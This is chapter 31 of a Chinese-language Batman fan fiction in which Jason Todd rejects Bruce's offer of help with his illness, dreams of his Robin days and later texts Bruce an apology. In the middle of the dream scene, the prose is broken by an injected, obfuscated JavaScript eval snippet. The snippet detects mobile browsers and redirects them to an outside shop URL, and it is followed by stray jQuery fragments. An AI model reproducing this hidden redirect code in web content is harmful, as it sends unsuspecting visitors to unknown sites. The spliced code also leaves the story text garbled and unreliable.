31.第 31 章
    “你在胡说八道什么。”他假装不在意地说道。

    “你知道对我撒谎没有用。”布鲁斯看着杰森,那双蓝色的眼睛却像是能穿透人心,“你也不需要对我撒谎,Jay。我只是想帮你。”

    杰森感觉自己的肩膀逐渐耸起,扭头啐道,“Fine,我知道你总喜欢搞什么蝙蝠侠无所不知的戏码。假设我的确病了,那又怎么?”

    布鲁斯微不可见地僵硬了一瞬,“那又怎样?”

    “是的,那又怎样。”杰森不耐烦地重复,“我病了,那又怎么?我的事跟你毫无关系。”

    “我只是想帮——”

    “Cut the bullshit!”杰森狠狠打断,“我知道你把整个哥谭视为你的地盘or whatever,FINE!但你管不到我的头上,okay?我不是你手下的那群跟班,我不管病没病都轮不到你管。也不要跟我讲什么鲁莽风险这些垃圾话,我仍然有能力行动,犯罪巷是我的地盘!你少给我指手画脚!”

    “我不是在质疑你的能力,杰森。”布鲁斯蓝色的眼睛仍然锁定着杰森。他不知何时举起了双手,像是在对待一只受惊的动物展示自己的无害,但这只让杰森感到更加羞辱,“这跟夜间职业无关,我只是担心你。”

    杰森仰头发出荒谬的笑,“担心我。”他重复。

    “担心什么。担心我这样救不了人,保护不了犯罪巷?担心我跑到一半把自己摔死了,让坏人继续作恶?担心我——”

    “不要把你自己的话强行塞到我嘴里。”布鲁斯打断他,“杰森,我担心你的健康,仅此而已。”

    “And why do you care?”杰森毫不停顿地反问。

    布鲁斯似是被他的质疑震惊到微微睁大眼睛,仿佛他问出了什么再明显不过的事。“我当然会担心你,”他缓缓道,用着在给小孩解释的语气,“因为你是我的儿子,Jaylad。”

    整个空间寂静了几秒。

    然后,杰森仰头发出大笑。

    “儿子。”他边笑边重复,“你把我当成儿子。莱斯利fucking没有骗我,你还真的把我当成你的儿子。”

    布鲁斯的眼睛流露出痛苦,但仍然举着手,“我知道、我之前犯下过很多错,但是我想要改变。假如你能给我一个机会,Jaylad,我保证——”

    “不要再叫我Jaylad了!”杰森尖叫,“我也不是你的儿子,别再自欺欺人了!”

    “你是我的孩子,这点永远都不会变。”

    杰森的拳头捏紧,“Oh yea?我从来没见过亲手把刀割向自己孩子喉咙的父亲。”

    布鲁斯像是被人扇了一巴掌。

    杰森啐道,“假设,假设,我仍然是你的孩子,在我回来之后,我也没见你出来接我回家找我聊天什么的。你表现得就好像我是你的敌人and you hated me。但哪怕这就是你奇怪的表达亲近的方法,就算这样、”他的呼吸越来越急促,又一次想起了小丑。他一只手拿着枪,另只手抓着小丑的脖子,耳边全是对方刺穿耳膜般尖利的笑。蝙蝠侠在对面,杰森只要扣下扳机就能结束这场噩梦,但是他的手在不断发抖,他做不到、做不到杀了小丑。他做不到杀了这个混涨给自己报仇。不管他心里面再怎么渴望他的手都不停地都抠不下那扳机,甚至杰森早就僵到还在站着都是个奇迹了。但他离自己的目标好近,蝙蝠侠就在对面。杰森的Dad。小丑,杰森。两个人被摆在天平的两侧,任谁都该知道如何去做选择,哪怕在蝙蝠侠在意识到杰森就是红头罩后没有立刻来迎接他,哪怕蝙蝠侠像是追击其他罪犯一样追赶着红头罩,但这是小丑。这是杰森。没有人会做出其他的选择,杰森特地设下这个不可能输掉的局。他看着蝙蝠侠,手里的枪在抖,他马上就能回家。直到。蝙蝠侠丢出了蝙蝠镖。

    杰森的呼吸已经急促到视线都开始花白,喉咙不断收紧像是拉扯到极限的绳子,他感觉自己要呼吸不上来了,喉咙像是在被火烧,鲜血在源源不断地流下来。蝙蝠侠拽着小丑离开了,留下杰森倒在地上,身旁,炸.弹的计时马上就要归零。他痛苦尖叫,却发不出任何声音。

    当他终于出声的时候,那种感觉就好像说话的是另一个人。“就算这样,那个杰森也被你亲手杀死了。”

    布鲁斯像是被人扇了一巴掌似的倒退一步,他的脸上全是痛苦。“我知道——”他说到一半又断掉,“我知道我做的任何事都无法弥补当时带给你的痛苦,假如你——”

    杰森打断了他。

    “我不是你的孩子。”

    布鲁斯的肩膀在发抖,他注意到。布鲁斯闭上了双眼,表情充斥着杰森无法理解的悲伤,可在几次深呼吸后,他仍然睁开眼睛诚恳地看向他。“假如这是你想要的,那我接受。”他说出那句话时痛苦得像是有刀割在身上,“但是杰森,你病了,请让我帮你。”

    “然后让你找机会控制我,把我关在蝙蝠洞里?”杰森恨道,“不了,谢谢。”

    “这不是我的意思。Please,杰森——”

    然而杰森已经无法忍受再在这里多呆一秒转身朝门外走去了。他的腿for once争气地没有在关键时刻摔倒,带着他快速走到门口。杰森一把拉开门,门后两个身影抽着气倒退。

    杰森顿住,是玛丽亚跟翠西。她们俩都面色苍白在杰森面前僵住。翠西朝杰森挤出抱歉的微笑,“我们不是故意的。玛丽亚她把水壶忘在里面了,我则是过来收拾一下——”

    杰森已经从她们身边挤过。

    他不敢也没有心力去想两个人听见了多少他跟布鲁斯的对话对他们之间的关系做出了如何猜测。

    He just fled.

    **

    那个晚上,杰森又一次做梦。

    每一次梦出现的时候,做梦的人都不知道自己是在做梦。十五岁的罗宾鸟蹲在自己最喜欢的滴水兽上,抱着膝盖欣赏哥谭的夜景。黑影出现得悄无声息也没有痕迹。

    他没有回头,‘Dad。’

    ‘这么吹风你会感冒的,罗宾。’蝙蝠侠粗粝的声音从头顶响起。再然后,黑色厚实的披风将罗宾鸟牢牢裹住。‘你在发呆什么呢。’

    ‘What,’杰森调侃,‘犯罪巷出来的小老鼠就不准忧郁一下了?’

    ‘你有什么好忧郁的?’蝙蝠侠警觉道,‘有罪犯欺负你了?’

    ‘Puff,’杰森嗤笑,‘我有一刻能离开你身边自己行动吗?你觉得有你在有谁会欺负我?’

    ‘那你在想什么?’

    ‘是学校的事啦。’杰森回答,手指无意识地敲着膝盖,‘橄榄球赛季快要结束了,但棒球校队要到春季才开始训练,我在想冬季做什么好。’

    蝙蝠侠像是被他的幼稚给娱乐到,‘你可以选择早点回家。’他调侃的语气无限接近布鲁斯本身的声音。

    ‘Eww,回家?最挫的小孩放学后没事做才直接回家。’杰森皱起鼻子,‘我是在想要不要自己组织一个俱乐部好了。跟读书相关的。’

    ‘哦?’

    ‘我问了老师,最少要我之外凑够五个人报名才行,我在想拉谁进我的读书会好。布朗能算一个,吉米跟史黛西只顾着自己谈恋爱能凑个人头数,利亚姆也还行哪怕我觉得他品味一般。就差最后一个人了。’

    ‘你之前说过克莱尔总是喜欢跟着你。’

    ‘不!’杰森拒绝得毫不犹豫,‘她来只会想着跟我黏黏糊糊拉我出去约会,那我还怎么读书。’

    蝙蝠侠、不,布鲁斯终于笑了出来,‘那还有别的办法,你可以报名参加外面的图书会。’

    少年再次消沉下来,‘Yea,that's not possible。我第一个想到的就是这个,但我已经上哥谭所有的图书馆网站上看过了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068146|123091||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没有这种项目,起码,没有我感兴趣的。’

    布鲁斯唔了一声,‘这样吗。’

    ‘算了,不想了。大不了冬季我去打打冰球,I mean冰球我没经验大概只能进二队,但也算是找点事做。’杰森蹦起来,罗宾鸟伸了个长长的懒腰,然后回头朝蝙蝠侠露出调皮的笑,‘开始工作不,boss?’

    ‘开始吧,罗宾。’蝙蝠侠重新戴上面罩。然后他们一起飞过哥谭的天空,红黄的亮色始终伴随在黑色的阴影身旁。

    *

    杰森满脸冷汗地从这梦醒来,只能感受到刻骨的孤独。

    他翻身抓住枕头,手指抠进去,脸埋在枕头内艰难地喘息。梦退散的很快,他甚至记不得里面的内容了,但身体仍然残留着那种温暖的感觉。他颤抖,抓住自己的喉咙。

    从床上爬起来又比昨天更艰难了一点。

    杰森趔趄地扶着墙朝浴室走去,在水池边看到前一天晚上落在那的手机。他翻开手机盖,小小的屏幕亮起,竟然还有电。已经是晚上七点多了,同时还有一条未读短信。

    杰森打开,号码来自布鲁斯。

    【假如你不想见我的话没有关系。但是请让我帮你,杰森。】

    杰森的手仍然在抖,试了两次才把手机关上。他只感觉自己的脑子空白,机械性地刷牙,洗脸。

    他不是怀疑蝙蝠侠的目的。不管他宣称自己在乎杰森是不是真话,不论是蝙蝠侠还是布鲁斯都不是见死不救的人。他们会帮他,杰森知道。但是他同时也知道蝙蝠侠的控制欲会让他想要把杰森关起来自己治疗,他会有很长一段时间当不了红头罩,他的领地大概也会顺理成章地被蝙蝠侠收回去。杰森不能失去这些。他现在还不到跑不动的时候,而且等案子结束收尾,下周,最晚下下周,他就会打卡米医生的电话做进一步治疗。他可以的。

    他挺得过来的。

    他洗漱完后走到厨房,从冰箱里面拿出剩余的披萨跟牛奶逼着自己吃下去几口,然后就换上红头罩的制服,从窗户翻出去。

    今晚的哥谭莫名有一丝躁动。

    红头罩沿着平时的路线按部就班地开始夜巡。

    他是直到两个小时后才意识到,今晚不寻常的点在于街上的人比平时少。不是在说有危险出现所有人都躲在家里了,因为那样红头盔绝对会得到消息。也不是说红头罩的存在吓跑了其他人,因为通宵营业的那些酒吧门口的人喝到烂醉后连自己妈妈都不认识更别说红头罩了。奇怪的点就在于,今晚犯罪巷的各个产业都比平时人少,就好像那些家伙被其他什么事情给吸引。

    然后杰森攀上犯罪巷的最高楼往远处俯视,市中心的人流比平时要多。他想到了什么,射出钩爪,朝一个方向赶去。

    **

    布鲁斯坐在自己的书房内,脑海里仍然在不断重播着前一天跟杰森的对话。一遍又一遍,每一次杰森的话跟他说出来时接受的语气都让布鲁斯心脏绞痛。这样不断地重复自我折磨没有意义,布鲁斯的心理医生这样说过。但是他仍然在这么做着,因为布鲁斯活该承受这些,他也在一遍一遍地翻找着细节。

    一定有什么,杰森一定有什么布鲁斯没有意识到的顾虑才会如此笃定地拒绝他。他一定也对自己的病情有什么了解,发现问题后不立刻去纠正不是杰森的性格,背后一定还有更多的原因。布鲁斯需要找到这些细节,揪出来,他才有更大的把握说服杰森。

    布鲁斯突然想起来,杰森最愤怒的时候,他仰头荒唐大笑的那一刻,他的眼睛几乎是绿色。

    一个念头一瞬间从布鲁斯脑海里划过,但是在被抓住前就被手机的提示声打断。布鲁斯给自己的所有家人都设置了不同的短信提示音,这一个从他设置起就从来没有听见过。

    这是设置给杰森的声音。

    布鲁斯抓起手机,屏幕自动亮起。那条短信只有短短一个词。

    【Sorry。】